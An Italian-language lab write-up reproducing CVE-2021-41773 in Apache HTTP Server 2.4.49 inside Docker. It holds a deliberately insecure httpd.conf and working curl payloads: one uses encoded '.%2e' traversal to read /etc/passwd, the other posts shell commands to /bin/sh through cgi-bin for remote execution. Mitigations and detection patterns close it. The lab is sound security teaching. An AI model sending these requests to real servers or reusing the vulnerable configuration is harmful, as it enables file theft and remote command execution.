
WHS 4기 이희수. Consegna del compito kr-vulhub.
Contributori
Apache HTTP Server 2.4.49 presenta una vulnerabilità nel processo di normalizzazione dei percorsi URL, che non blocca correttamente i percorsi superiori codificati.
Un attaccante può utilizzare valori come .%2e per spostarsi al di fuori della directory che il server web è configurato per pubblicare. In ambienti in cui è consentito l'accesso a directory esterne, i file interni del server possono essere esposti e, se la funzionalità CGI è abilitata, è possibile eseguire un comando remoto avviando una shell di sistema.
Questo progetto utilizza Docker per costruire un ambiente Apache HTTP Server 2.4.49 e riproduce i seguenti due aspetti:
/etc/passwd tramite Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Eseguire i seguenti comandi per creare l'immagine Docker e avviare il contenitore:
docker compose up -d --build
Verificare lo stato di esecuzione del contenitore con:
docker ps
Nel risultato, il contenitore dovrebbe essere nello stato Up e la porta 8080 dell'host dovrebbe essere collegata alla porta 80 del contenitore.

Accedere al seguente indirizzo nel browser:
http://localhost:8080
La pagina web di Apache viene visualizzata correttamente, confermando la corretta configurazione dell'ambiente.

Controllare la versione di Apache all'interno del contenitore con:
docker compose exec web /usr/local/apache2/bin/httpd -v
Risultato:
Server version: Apache/2.4.49 (Unix)
Viene confermato che è in esecuzione Apache HTTP Server 2.4.49, affetto dalla vulnerabilità CVE-2021-41773.

In questo ambiente di laboratorio sono applicate le seguenti condizioni:
daemonLa configurazione di Apache permette l'accesso al percorso radice del filesystem:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
Inoltre, per l'esecuzione di CGI è stata utilizzata la seguente configurazione:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
La seguente richiesta utilizza un percorso superiore codificato per accedere al file /etc/passwd all'interno del contenitore:
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e viene decodificato in ...
Pertanto, l'attaccante può risalire più volte alla directory superiore a partire dal percorso Alias per accedere al file /etc/passwd.
Risultato:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Il file /etc/passwd contiene informazioni sugli account di sistema come nome utente, UID, GID, directory home e shell di login.
Sebbene non contenga password reali, un utente web esterno non dovrebbe poter accedere a file interni del server, ma questa richiesta HTTP li espone, confermando una vulnerabilità di esposizione delle informazioni.
In un ambiente di produzione, potrebbero essere esposte informazioni sensibili come:
La seguente richiesta utilizza Path Traversal per accedere a /bin/sh ed eseguire il comando whoami:
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Risultato:
daemon

Poiché il percorso /cgi-bin/ è configurato con ScriptAlias, Apache non legge semplicemente il file, ma lo esegue come programma CGI.
Accedendo a /bin/sh tramite Path Traversal e inviando comandi nel corpo della richiesta, questi vengono eseguiti con i permessi dell'utente di esecuzione di Apache.
In questo ambiente, Apache viene eseguito con il seguente utente:
User daemon
Group daemon
Pertanto, il risultato del comando è stato emesso dall'utente daemon.
Sebbene non si tratti di root, potrebbero verificarsi ulteriori minacce come:
Invece di eseguire comandi singoli, è possibile utilizzare lo script PoC per verificare il servizio normale, Path Traversal e l'esecuzione remota di comandi in un unico passaggio.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
Lo script verifica i seguenti elementi in ordine:
[1] Verifica del servizio normale
[2] Accesso a /etc/passwd tramite Path Traversal
[3] Esecuzione del comando id tramite CGI

Non utilizzare Apache HTTP Server 2.4.49; aggiornare all'ultima versione con le patch di sicurezza.
In ambienti di produzione, bloccare per impostazione predefinita l'accesso al percorso radice del filesystem.
<Directory "/">
Require all denied
</Directory>
Consentire solo le directory web necessarie:
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
Se la funzionalità CGI non è necessaria, disabilitare i seguenti componenti:
mod_cgiScriptAliasExecCGIEseguire il processo Apache con un account di servizio limitato, non root, e ridurre al minimo i file e le directory a cui tale account può accedere.
Rilevare e bloccare richieste che includono percorsi anomali come:
.%2e
%2e%2e
/cgi-bin/
docker compose down
In questo laboratorio, è stato costruito Apache HTTP Server 2.4.49 utilizzando un Dockerfile e configurato un ambiente vulnerabile riproducibile tramite Docker Compose.
È stata verificata l'esposizione del file /etc/passwd all'interno del contenitore, a cui un utente web normale non dovrebbe poter accedere, tramite una richiesta di Path Traversal.
Inoltre, in un ambiente con CGI abilitato, è stato possibile accedere a /bin/sh ed eseguire comandi di sistema con i permessi dell'utente daemon di esecuzione di Apache.
Ciò dimostra che CVE-2021-41773 non è solo una semplice esposizione di percorso, ma può portare all'esecuzione remota di comandi a seconda della configurazione dell'ambiente.